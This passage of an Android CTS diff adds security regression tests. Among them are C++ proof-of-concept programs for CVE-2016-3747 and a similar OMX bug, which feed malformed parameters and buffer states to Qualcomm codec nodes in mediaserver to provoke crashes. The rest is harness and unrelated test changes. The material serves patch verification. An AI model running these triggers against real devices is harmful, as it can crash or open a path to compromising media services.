+ DummyOMXObserver() {}
+
+ virtual void onMessages(const std::list<omx_message> &messages __unused) {}
+
+protected:
+ virtual ~DummyOMXObserver() {}
+};
+
+// decoder
+bool fuzzIOMXSetParameterChangeCount() {
+ const char *name = "OMX.qcom.video.decoder.avc";
+ sp<IMemory> memory;
+ sp<IOMXNode> node = 0;
+ sp<IOMX> mOmx;
+ IOMX::buffer_id bufferId = 0;
+ int outMemSize = 1024;
+ int bufferCnt = 4;
+ int memSize = 49 * outMemSize * bufferCnt;
+
+ OMXClient client;
+ if (client.connect() != OK) {
+ ALOGE("OMXClient connect == NULL");
+ return false;
+ }
+
+ mOmx = client.interface();
+ if (mOmx == NULL) {
+ ALOGE("OMXClient interface mOmx == NULL");
+ client.disconnect();
+ return false;
+ }
+
+ sp<DummyOMXObserver> observerDec = new DummyOMXObserver();
+
+ ALOGE("-----------decode------------");
+ status_t err = mOmx->allocateNode(name, observerDec, &node);
+ if (err != OK) {
+ ALOGE("%s node allocation fails", name);
+ client.disconnect();
+ return false;
+ }
+
+ sp<MemoryDealer> dealerIn = new MemoryDealer(memSize);
+
+ memory = dealerIn->allocate(memSize);
+ if (memory.get() == nullptr) {
+ ALOGE("memory allocation failed , err: %d", err);
+ node->freeNode();
+ client.disconnect();
+ return false;
+ }
+
+ OMX_PARAM_PORTDEFINITIONTYPE *params = (OMX_PARAM_PORTDEFINITIONTYPE *)malloc(
+ sizeof(OMX_PARAM_PORTDEFINITIONTYPE));
+
+ if (params == NULL) {
+ ALOGE("memory allocation failed , err: %d", err);
+ node->freeNode();
+ client.disconnect();
+ return false;
+ }
+ memset(params, 0, sizeof(OMX_PARAM_PORTDEFINITIONTYPE));
+
+ params->eDir = (OMX_DIRTYPE)OMX_DirInput;
+
+ params->nBufferCountActual = 1024 * 1024 / 16;
+ params->nBufferSize = 0x31000;
+ params->format.video.nFrameHeight = 0;
+
+ /*
+ * Exit from here if setParameter fails.
+ * This is the expected behavior in Android N
+ */
+ err = node->setParameter(OMX_IndexParamPortDefinition, params,
+ sizeof(OMX_PARAM_PORTDEFINITIONTYPE));
+ ALOGI("setParameter, err: %d", err);
+ if (err != OK) {
+ node->freeNode();
+ free(params);
+ client.disconnect();
+ return false;
+ }
+
+ /*
+ * Exit from here if useBuffer fails.
+ * This is the expected behavior in Android N
+ */
+ err = node->useBuffer(OMX_CORE_INPUT_PORT_INDEX, memory, &bufferId);
+ ALOGE("useBuffer, err: %d", err);
+ if (err != OK) {
+ node->freeNode();
+ free(params);
+ client.disconnect();
+ return false;
+ }
+
+ params->nBufferCountActual = 0xFFFFFFFF;
+
+ err = node->setParameter(OMX_IndexParamPortDefinition, params,
+ sizeof(OMX_PARAM_PORTDEFINITIONTYPE));
+ ALOGE("setParameter, change actualcount, err: %d", err);
+
+ err = node->freeNode();
+ free(params);
+ client.disconnect();
+ ALOGI("freeNode, err: %d", err);
+ return true;
+}
+
+int main() {
+ return (int)(!fuzzIOMXSetParameterChangeCount());
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-3747/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2016-3747/Android.mk
new file mode 100644
index 0000000..08041fe
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-3747/Android.mk
@@ -0,0 +1,40 @@
+# Copyright (C) 2018 The Android Open Source Project
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH:= $(call my-dir)
+
+include $(CLEAR_VARS)
+LOCAL_MODULE := CVE-2016-3747
+LOCAL_SRC_FILES := poc.cpp
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+
+LOCAL_C_INCLUDES := $(JNI_H_INCLUDE) \
+ $(TOP)/frameworks/av/media/libstagefright \
+ $(TOP)/frameworks/native/include/media/openmax
+
+LOCAL_SHARED_LIBRARIES := \
+ libstagefright \
+ libbinder \
+ libmedia \
+ libmedia_omx \
+ liblog \
+ libutils
+
+LOCAL_COMPATIBILITY_SUITE := cts vts sts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+LOCAL_CFLAGS += -Wall -Werror
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-3747/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2016-3747/poc.cpp
new file mode 100644
index 0000000..38a0afa
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-3747/poc.cpp
@@ -0,0 +1,145 @@
+/**
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#define LOG_TAG "CVE-2016-3747"
+
+#include <OMX_Component.h>
+#include <binder/MemoryDealer.h>
+#include <jni.h>
+#include <log/log.h>
+#include <media/IOMX.h>
+#include <media/OMXBuffer.h>
+#include <media/stagefright/OMXClient.h>
+#include <utils/StrongPointer.h>
+
+using namespace android;
+
+struct DummyOMXObserver : public BnOMXObserver {
+ public:
+ DummyOMXObserver() {}
+
+ virtual void onMessages(const std::list<omx_message> &messages __unused) {}
+
+ protected:
+ virtual ~DummyOMXObserver() {}
+};
+
+bool fuzzIOMXQcomEnc() {
+ sp<IOMXNode> node;
+ sp<IOMX> mOmx;
+ int fenceFd = -1;
+ const char *name = "OMX.qcom.video.encoder.mpeg4";
+
+ OMX_PARAM_PORTDEFINITIONTYPE *params = (OMX_PARAM_PORTDEFINITIONTYPE *)malloc(
+ sizeof(OMX_PARAM_PORTDEFINITIONTYPE));
+ params->nPortIndex = 0; // input port
+ params->format.video.nFrameHeight = 1280 * 4;
+ params->format.video.nFrameWidth = 720 * 4;
+ params->nBufferCountActual = 12;
+ params->nBufferSize = 73728;
+ params->nBufferCountMin = 0x4;
+
+ int inMemSize = params->nBufferSize * 12;
+ int outMemSize = 49152 * 4;
+ int inBufferCnt = 12;
+ int outBufferCnt = 4;
+ int inBufferSize = inMemSize / inBufferCnt;
+ int outBufferSize = outMemSize / outBufferCnt;
+
+ sp<IMemory> memory;
+
+ OMXClient client;
+ if (client.connect() != OK) {
+ ALOGE("OMXClient connect == NULL");
+ return false;
+ }
+
+ mOmx = client.interface();
+ if (mOmx == NULL) {
+ ALOGE("OMXClient interface mOmx == NULL");
+ client.disconnect();
+ return false;
+ }
+
+ sp<DummyOMXObserver> observer = new DummyOMXObserver();
+ status_t err = mOmx->allocateNode(name, observer, &node);
+ if (err != OK) {
+ ALOGI("%s node allocation fails", name);
+ return false;
+ }
+ // make venc in invalid state
+ err = node->sendCommand(OMX_CommandStateSet, 2);
+ if (err != OK) {
+ ALOGE("sendCommand is failed in OMX_StateIdle, err: %d", err);
+ node->freeNode();
+ return false;
+ }
+
+ sp<MemoryDealer> dealerIn = new MemoryDealer(inMemSize);
+ IOMX::buffer_id *inBufferId = new IOMX::buffer_id[inBufferCnt];
+ for (int i = 0; i < inBufferCnt; i++) {
+ sp<IMemory> memory = dealerIn->allocate(inBufferSize);
+ if (memory.get() == nullptr) {
+ ALOGE("memory allocate failed for port index 0, err: %d", err);
+ node->freeNode();
+ return false;
+ }
+ OMXBuffer omxInBuf(memory);
+ err = node->useBuffer(0, omxInBuf, &inBufferId[i]);
+ ALOGI("useBuffer, port index 0, err: %d", err);
+ }
+
+ sp<MemoryDealer> dealerOut = new MemoryDealer(outMemSize);
+ IOMX::buffer_id *outBufferId = new IOMX::buffer_id[outBufferCnt];
+ for (int i = 0; i < outBufferCnt; i++) {
+ sp<IMemory> memory = dealerOut->allocate(outBufferSize);
+ if (memory.get() == nullptr) {
+ ALOGE("memory allocate failed for port index 1, err: %d", err);
+ node->freeNode();
+ return false;
+ }
+ OMXBuffer omxOutBuf(memory);
+ err = node->useBuffer(1, omxOutBuf, &outBufferId[i]);
+ ALOGI("useBuffer, port index 1, err: %d", err);
+ }
+
+ // make venc in invalid state
+ err = node->sendCommand(OMX_CommandStateSet, 3);
+ ALOGI("sendCommand, err: %d", err);
+ if (err != OK) {
+ ALOGE("sendCommand is failed in OMX_StateExecuting, err: %d", err);
+ node->freeNode();
+ return false;
+ }
+
+ OMXBuffer omxInBuf(memory);
+ for (int i = 0; i < inBufferCnt; i++) {
+ err = node->emptyBuffer(inBufferId[i], omxInBuf, 0, 0, fenceFd);
+ ALOGI("emptyBuffer, err: %d", err);
+ }
+
+ OMXBuffer omxOutBuf(memory);
+ for (int i = 0; i < outBufferCnt; i++) {
+ err = node->fillBuffer(outBufferId[i], omxOutBuf, fenceFd);
+ ALOGI("fillBuffer, err: %d", err);
+ }
+ free(params);
+ err = node->freeNode();
+ ALOGI("freeNode, err: %d", err);
+ return true;
+}
+
+int main() { return fuzzIOMXQcomEnc(); }
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/AdbUtils.java b/hostsidetests/securitybulletin/src/android/security/cts/AdbUtils.java
index 93b5cd9..3e4f5b3 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/AdbUtils.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/AdbUtils.java
@@ -408,27 +408,12 @@
AdbUtils.runCommandLine("rm /data/local/tmp/" + tempFile, device);
}
}
- if (test_failed == true) {
- Assert.fail("PoC was interrupted");
+ if (test_failed) {
+ fail("PoC was interrupted");
}
}
if (t.isAlive()) {
Assert.fail("PoC not completed within timeout of " + timeout + " ms");
}
}
-
- /**
- * Raises assert exception upon crash/error occurence
- *
- * @param crashPatternList array of crash log patterns to be checked for
- * @param logcat String to be parsed
- */
- public static void checkCrash(String crashPatternList[], String logcat)
- throws Exception {
- for (String crashPattern : crashPatternList) {
- assertFalse("Crash log pattern found!",
- Pattern.compile(crashPattern, Pattern.MULTILINE)
- .matcher(logcat).find());
- }
- }
}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc16_06.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc16_06.java
new file mode 100644
index 0000000..b414a55
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc16_06.java
@@ -0,0 +1,29 @@
+/**
+* Copyright (C) 2018 The Android Open Source Project
+*
+* Licensed under the Apache License, Version 2.0 (the "License");
+* you may not use this file except in compliance with the License.
+* You may obtain a copy of the License at
+*
+* http://www.apache.org/licenses/LICENSE-2.0
+*
+* Unless required by applicable law or agreed to in writing, software
+* distributed under the License is distributed on an "AS IS" BASIS,
+* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+* See the License for the specific language governing permissions and
+* limitations under the License.
+*/
+
+package android.security.cts;
+
+import android.platform.test.annotations.SecurityTest;
+
+public class Poc16_06 extends SecurityTestCase {
+ /**
+ * b/27661749
+ */
+ @SecurityTest(minPatchLevel = "2016-06")
+ public void testPocCVE_2016_2482() throws Exception {
+ AdbUtils.runPocAssertNoCrashes("CVE-2016-2482", getDevice(), "mediaserver");
+ }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc16_07.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc16_07.java
index a0aecc5..b634645 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc16_07.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc16_07.java
@@ -42,4 +42,13 @@
public void testPocCVE_2014_9803() throws Exception {
AdbUtils.runPocAssertExitStatusNotVulnerable("CVE-2014-9803", getDevice(), 60);
}
+
+ /**
+ * b/27903498
+ */
+ @SecurityTest(minPatchLevel = "2016-07")
+ public void testPocCVE_2016_3747() throws Exception {
+ getOomCatcher().setHighMemoryTest();
+ AdbUtils.runPocAssertNoCrashes("CVE-2016-3747", getDevice(), "mediaserver");
+ }
}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/TestMedia.java b/hostsidetests/securitybulletin/src/android/security/cts/TestMedia.java
index bbfd78e..ecc086c 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/TestMedia.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/TestMedia.java
@@ -45,41 +45,6 @@
* before any existing test methods
****************************************************************/
-
- /**
- * Checks for linker errors
- *
- * @param binaryName name of the binary
- * @param logcat String to be parsed
- */
- public static boolean isLinkerErrorPresent(String binaryName, String logcat)
- throws Exception {
- return Pattern
- .compile("CANNOT LINK EXECUTABLE \"" + TMP_FILE_PATH
- + binaryName + "\"", Pattern.MULTILINE)
- .matcher(logcat).find();
- }
-
- /**
- * Checks for crash
- *
- * @param binaryName Name of the binary
- * @param errPattern error patterns to be checked for
- * @param logcat String to be parsed
- */
- public static void checkCrash(String binaryName, String errPattern[],
- String logcat) throws Exception {
- String genericCrashPattern[] = {
- "name: " + binaryName + " >>> " + TMP_FILE_PATH + binaryName
- + " <<<\n.*?SIGABRT",
- "name: " + binaryName + " >>> " + TMP_FILE_PATH + binaryName
- + " <<<\n.*?SIGSEGV"};
- AdbUtils.checkCrash(genericCrashPattern, logcat);
- if (errPattern != null) {
- AdbUtils.checkCrash(errPattern, logcat);
- }
- }
-
/**
* Pushes input files, runs the PoC and checks for crash and hang
*
@@ -91,7 +56,7 @@
*/
public static void runMediaTest(String binaryName,
String inputFiles[], String arguments, ITestDevice device,
- String errPattern[]) throws Exception {
+ String processPatternStrings[]) throws Exception {
if (inputFiles != null) {
for (String tempFile : inputFiles) {
AdbUtils.pushResource(RESOURCE_ROOT + tempFile,
@@ -110,10 +75,10 @@
}
}
}, TIMEOUT_SEC * 1000, device, inputFiles);
- String logcatOut = AdbUtils.runCommandLine("logcat -d", device);
- boolean linkerErrorFound = isLinkerErrorPresent(binaryName, logcatOut);
- if (!linkerErrorFound) {
- checkCrash(binaryName, errPattern, logcatOut);
+
+ AdbUtils.assertNoCrashes(device, binaryName);
+ if (processPatternStrings != null) {
+ AdbUtils.assertNoCrashes(device, processPatternStrings);
}
}
}
diff --git a/hostsidetests/statsd/src/android/cts/statsd/atom/ProcStateAtomTests.java b/hostsidetests/statsd/src/android/cts/statsd/atom/ProcStateAtomTests.java
index 070d3f4..ff65335 100644
--- a/hostsidetests/statsd/src/android/cts/statsd/atom/ProcStateAtomTests.java
+++ b/hostsidetests/statsd/src/android/cts/statsd/atom/ProcStateAtomTests.java
@@ -40,7 +40,7 @@
private static final int WAIT_TIME_FOR_CONFIG_UPDATE_MS = 200;
// ActivityManager can take a while to register screen state changes, mandating an extra delay.
private static final int WAIT_TIME_FOR_CONFIG_AND_SCREEN_MS = 1_000;
- private static final int EXTRA_WAIT_TIME_MS = 1_000; // as buffer when proc state changing.
+ private static final int EXTRA_WAIT_TIME_MS = 5_000; // as buffer when proc state changing.
private static final int STATSD_REPORT_WAIT_TIME_MS = 500; // make sure statsd finishes log.
private static final String FEATURE_WATCH = "android.hardware.type.watch";
diff --git a/hostsidetests/statsd/src/android/cts/statsd/atom/UidAtomTests.java b/hostsidetests/statsd/src/android/cts/statsd/atom/UidAtomTests.java
index fd77425..540ff9b 100644
--- a/hostsidetests/statsd/src/android/cts/statsd/atom/UidAtomTests.java
+++ b/hostsidetests/statsd/src/android/cts/statsd/atom/UidAtomTests.java
@@ -635,6 +635,12 @@
if (!hasFeature(FEATURE_WATCH, false)) return;
final int atomTag = Atom.MEDIA_CODEC_STATE_CHANGED_FIELD_NUMBER;
+ // 5 seconds. Starting video tends to be much slower than most other
+ // tests on slow devices. This is unfortunate, because it leaves a
+ // really big slop in assertStatesOccurred. It would be better if
+ // assertStatesOccurred had a tighter range on large timeouts.
+ final int waitTime = 5000;
+
Set<Integer> onState = new HashSet<>(
Arrays.asList(MediaCodecStateChanged.State.ON_VALUE));
Set<Integer> offState = new HashSet<>(
@@ -646,13 +652,14 @@
createAndUploadConfig(atomTag, true); // True: uses attribution.
Thread.sleep(WAIT_TIME_SHORT);
- runActivity("VideoPlayerActivity", "action", "action.play_video");
+ runActivity("VideoPlayerActivity", "action", "action.play_video",
+ waitTime);
// Sorted list of events in order in which they occurred.
List<EventMetricData> data = getEventMetricDataList();
// Assert that the events happened in the expected order.
- assertStatesOccurred(stateSet, data, WAIT_TIME_LONG,
+ assertStatesOccurred(stateSet, data, waitTime,
atom -> atom.getMediaCodecStateChanged().getState().getNumber());
}
@@ -674,7 +681,7 @@
createAndUploadConfig(atomTag, false);
runActivity("StatsdCtsForegroundActivity", "action", "action.show_application_overlay",
- 3_000);
+ 5_000);
// Sorted list of events in order in which they occurred.
List<EventMetricData> data = getEventMetricDataList();
@@ -1134,7 +1141,7 @@
// Start test app.
try (AutoCloseable a = withActivity("StatsdCtsForegroundActivity", "action",
"action.show_notification")) {
- Thread.sleep(WAIT_TIME_SHORT);
+ Thread.sleep(WAIT_TIME_LONG);
// Trigger a pull and wait for new pull before killing the process.
setAppBreadcrumbPredicate();
Thread.sleep(WAIT_TIME_LONG);
diff --git a/hostsidetests/statsd/src/android/cts/statsd/validation/BatteryStatsValidationTests.java b/hostsidetests/statsd/src/android/cts/statsd/validation/BatteryStatsValidationTests.java
index 889763b..9aafbad 100644
--- a/hostsidetests/statsd/src/android/cts/statsd/validation/BatteryStatsValidationTests.java
+++ b/hostsidetests/statsd/src/android/cts/statsd/validation/BatteryStatsValidationTests.java
@@ -53,6 +53,7 @@
plugInUsb();
}
+ /*
public void testConnectivityStateChange() throws Exception {
if (!hasFeature(FEATURE_WIFI, true)) return;
if (!hasFeature(FEATURE_WATCH, false)) return;
@@ -77,6 +78,7 @@
assertThat(countMetricData.get(0).getBucketInfo(0).getCount()).isEqualTo(
(long) batterystatsProto.getSystem().getMisc().getNumConnectivityChanges());
}
+ */
public void testPowerUse() throws Exception {
if (statsdDisabled()) {
@@ -117,67 +119,6 @@
assertThat(bsPowerNas).isGreaterThan(ALLOWED_FRACTIONAL_DIFFERENCE * statsdPowerNas);
}
- public void testPowerBlameUid() throws Exception {
- if (statsdDisabled()) {
- return;
- }
- if (!hasFeature(FEATURE_LEANBACK_ONLY, false)) return;
- resetBatteryStats();
- unplugDevice();
-
- final double ALLOWED_FRACTIONAL_DIFFERENCE = 0.8; // ratio that statsd and bs can differ
-
- StatsdConfig.Builder config = getPulledConfig();
- addGaugeAtomWithDimensions(config, Atom.DEVICE_CALCULATED_POWER_BLAME_UID_FIELD_NUMBER,
- null);
- uploadConfig(config);
- unplugDevice();
-
- Thread.sleep(WAIT_TIME_LONG);
- runDeviceTests(DEVICE_SIDE_TEST_PACKAGE, ".AtomTests", "testSimpleCpu");
- Thread.sleep(WAIT_TIME_LONG);
-
- setAppBreadcrumbPredicate();
- BatteryStatsProto batterystatsProto = getBatteryStatsProto();
- Thread.sleep(WAIT_TIME_LONG);
- List<Atom> atomList = getGaugeMetricDataList();
-
- // Extract statsd data
- boolean uidFound = false;
- int uid = getUid();
- long statsdUidPowerNas = 0;
- for (Atom atom : atomList) {
- DeviceCalculatedPowerBlameUid item = atom.getDeviceCalculatedPowerBlameUid();
- if (item.getUid() == uid) {
- assertWithMessage("Found multiple power values for uid %s", uid)
- .that(uidFound).isFalse();
- uidFound = true;
- statsdUidPowerNas = item.getPowerNanoAmpSecs();
- }
- }
- assertWithMessage("Statsd: No power value for uid %s", uid).that(uidFound).isTrue();
- assertWithMessage("Statsd: Non-positive power value for uid %s", uid)
- .that(statsdUidPowerNas).isGreaterThan(0L);
-
- // Extract batterystats data
- double bsUidPowerNas = -1;
- boolean hadUid = false;
- for (UidProto uidProto : batterystatsProto.getUidsList()) {
- if (uidProto.getUid() == uid) {
- hadUid = true;
- bsUidPowerNas = uidProto.getPowerUseItem().getComputedPowerMah()
- * 1_000_000L * 3600L; /* mAh to nAs */;
- }
- }
- assertWithMessage("Batterystats: No power value for uid %s", uid).that(hadUid).isTrue();
- assertWithMessage("BatteryStats: Non-positive power value for uid %s", uid)
- .that(bsUidPowerNas).isGreaterThan(0d);
-
- assertThat((double) statsdUidPowerNas)
- .isGreaterThan(ALLOWED_FRACTIONAL_DIFFERENCE * bsUidPowerNas);
- assertThat(bsUidPowerNas).isGreaterThan(ALLOWED_FRACTIONAL_DIFFERENCE * statsdUidPowerNas);
- }
-
public void testServiceStartCount() throws Exception {
final String fileName = "BATTERYSTATS_SERVICE_START_COUNT.pbtxt";
StatsdConfig config = createValidationUtil().getConfig(fileName);
diff --git a/hostsidetests/userspacereboot/Android.bp b/hostsidetests/userspacereboot/Android.bp
new file mode 100644
index 0000000..51ed05a
--- /dev/null
+++ b/hostsidetests/userspacereboot/Android.bp
@@ -0,0 +1,33 @@
+// Copyright (C) 2019 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+// http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+java_test_host {
+ name: "CtsUserspaceRebootHostSideTestCases",
+ defaults: ["cts_defaults"],
+
+ srcs: ["src/**/*.java"],
+
+ libs: [
+ "cts-tradefed",
+ "tradefed",
+ "truth-prebuilt",
+ "hamcrest",
+ "hamcrest-library",
+ ],
+
+ test_suites: [
+ "cts",
+ "general-tests",
+ ],
+}
diff --git a/hostsidetests/userspacereboot/AndroidTest.xml b/hostsidetests/userspacereboot/AndroidTest.xml
new file mode 100644
index 0000000..d3692fc
--- /dev/null
+++ b/hostsidetests/userspacereboot/AndroidTest.xml
@@ -0,0 +1,25 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ ~ Copyright (C) 2019 The Android Open Source Project
+ ~
+ ~ Licensed under the Apache License, Version 2.0 (the "License");
+ ~ you may not use this file except in compliance with the License.
+ ~ You may obtain a copy of the License at
+ ~
+ ~ http://www.apache.org/licenses/LICENSE-2.0
+ ~
+ ~ Unless required by applicable law or agreed to in writing, software
+ ~ distributed under the License is distributed on an "AS IS" BASIS,
+ ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ ~ See the License for the specific language governing permissions and
+ ~ limitations under the License.
+ -->
+<configuration description="Runs userspace reboot CTS tests">
+ <option name="test-suite-tag" value="cts" />
+ <option name="config-descriptor:metadata" key="component" value="framework" />
+ <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+ <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+ <test class="com.android.tradefed.testtype.HostTest" >
+ <option name="class" value="com.android.cts.userspacereboot.host.UserspaceRebootHostTest" />
+ </test>
+</configuration>
diff --git a/hostsidetests/userspacereboot/OWNERS b/hostsidetests/userspacereboot/OWNERS
new file mode 100644
index 0000000..8b2fa8c
--- /dev/null
+++ b/hostsidetests/userspacereboot/OWNERS
@@ -0,0 +1,2 @@
+ioffe@google.com
+tomcherry@google.com
\ No newline at end of file
diff --git a/hostsidetests/userspacereboot/src/com/android/cts/userspacereboot/host/UserspaceRebootHostTest.java b/hostsidetests/userspacereboot/src/com/android/cts/userspacereboot/host/UserspaceRebootHostTest.java
new file mode 100644
index 0000000..3dc02b8
--- /dev/null
+++ b/hostsidetests/userspacereboot/src/com/android/cts/userspacereboot/host/UserspaceRebootHostTest.java
@@ -0,0 +1,43 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.userspacereboot.host;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import static org.junit.Assume.assumeTrue;
+
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class UserspaceRebootHostTest extends BaseHostJUnit4Test {
+
+ @Test
+ public void testOnlyFbeDevicesSupportUserspaceReboot() throws Exception {
+ assumeTrue("Userspace reboot not supported on the device", isUserspaceRebootSupported());
+ assertThat(getDevice().getProperty("ro.crypto.state")).isEqualTo("encrypted");
+ assertThat(getDevice().getProperty("ro.crypto.type")).isEqualTo("file");
+ }
+
+ private boolean isUserspaceRebootSupported() throws Exception {
+ final String value = getDevice().getProperty("ro.init.userspace_reboot.is_supported");
+ return "1".equals(value) || "true".equals(value);
+ }
+}
diff --git a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityWindowQueryTest.java b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityWindowQueryTest.java
index f32871b..b37358f 100644
--- a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityWindowQueryTest.java
+++ b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityWindowQueryTest.java
@@ -17,6 +17,7 @@
package android.accessibilityservice.cts;
import static android.accessibilityservice.cts.utils.AccessibilityEventFilterUtils.filterForEventType;
+import static android.accessibilityservice.cts.utils.AccessibilityEventFilterUtils.filterWindowsChangTypesAndWindowId;
import static android.accessibilityservice.cts.utils.AccessibilityEventFilterUtils.filterWindowsChangedWithChangeTypes;
import static android.accessibilityservice.cts.utils.ActivityLaunchUtils.launchActivityAndWaitForItToBeOnscreen;
import static android.accessibilityservice.cts.utils.ActivityLaunchUtils.launchActivityOnSpecifiedDisplayAndWaitForItToBeOnscreen;
@@ -768,7 +769,8 @@
final AccessibilityWindowInfo finalFocusTarget = focusTarget;
sUiAutomation.executeAndWaitForEvent(() -> assertTrue(finalFocusTarget.getRoot()
.performAction(AccessibilityNodeInfo.ACTION_ACCESSIBILITY_FOCUS)),
- filterWindowsChangedWithChangeTypes(WINDOWS_CHANGE_ACCESSIBILITY_FOCUSED),
+ filterWindowsChangTypesAndWindowId(finalFocusTarget.getId(),
+ WINDOWS_CHANGE_ACCESSIBILITY_FOCUSED),
DEFAULT_TIMEOUT_MS);
windows = sUiAutomation.getWindows();
diff --git a/tests/accessibilityservice/src/android/accessibilityservice/cts/TouchExplorerTest.java b/tests/accessibilityservice/src/android/accessibilityservice/cts/TouchExplorerTest.java
index 097be6a9..29de0c1 100644
--- a/tests/accessibilityservice/src/android/accessibilityservice/cts/TouchExplorerTest.java
+++ b/tests/accessibilityservice/src/android/accessibilityservice/cts/TouchExplorerTest.java
@@ -29,6 +29,7 @@
import static android.accessibilityservice.cts.utils.GestureUtils.doubleTapAndHold;
import static android.accessibilityservice.cts.utils.GestureUtils.isRawAtPoint;
import static android.accessibilityservice.cts.utils.GestureUtils.multiTap;
+import static android.accessibilityservice.cts.utils.GestureUtils.secondFingerMultiTap;
import static android.accessibilityservice.cts.utils.GestureUtils.swipe;
import static android.accessibilityservice.cts.utils.GestureUtils.times;
import static android.view.MotionEvent.ACTION_HOVER_ENTER;
@@ -345,6 +346,63 @@
mLongClickListener.assertNoneLongClicked();
}
+ /**
+ * Test the case where we want to double tap using a second finger while the first finger is
+ * touch exploring.
+ */
+ @Test
+ @AppModeFull
+ public void testSecondFingerDoubleTapTouchExploring_performsClick() {
+ if (!mHasTouchscreen || !mScreenBigEnough) return;
+ syncAccessibilityFocusToInputFocus();
+ // hold the first finger for long enough to trigger touch exploration before double-tapping.
+ // Touch exploration is triggered after the double tap timeout.
+ dispatch(
+ secondFingerMultiTap(
+ mTapLocation,
+ add(mTapLocation, mSwipeDistance, 0),
+ 2,
+ ViewConfiguration.getDoubleTapTimeout() + 50));
+ mHoverListener.assertPropagated(ACTION_HOVER_ENTER, ACTION_HOVER_EXIT);
+ mTouchListener.assertNonePropagated();
+ mService.assertPropagated(
+ TYPE_VIEW_ACCESSIBILITY_FOCUSED,
+ TYPE_TOUCH_INTERACTION_START,
+ TYPE_TOUCH_EXPLORATION_GESTURE_START,
+ TYPE_TOUCH_EXPLORATION_GESTURE_END,
+ TYPE_TOUCH_INTERACTION_END,
+ TYPE_VIEW_CLICKED);
+ mClickListener.assertClicked(mView);
+ }
+
+ /**
+ * Test the case where we want to double tap using a second finger without triggering touch
+ * exploration.
+ */
+ @Test
+ @AppModeFull
+ public void testSecondFingerDoubleTapNotTouchExploring_performsClick() {
+ if (!mHasTouchscreen || !mScreenBigEnough) return;
+ syncAccessibilityFocusToInputFocus();
+ // Hold the first finger for less than the double tap timeout which will not trigger touch
+ // exploration.
+ // Touch exploration is triggered after the double tap timeout.
+ dispatch(
+ secondFingerMultiTap(
+ mTapLocation,
+ add(mTapLocation, mSwipeDistance, 0),
+ 2,
+ ViewConfiguration.getDoubleTapTimeout() / 3));
+ mHoverListener.assertNonePropagated();
+ mTouchListener.assertNonePropagated();
+ mService.assertPropagated(
+ TYPE_VIEW_ACCESSIBILITY_FOCUSED,
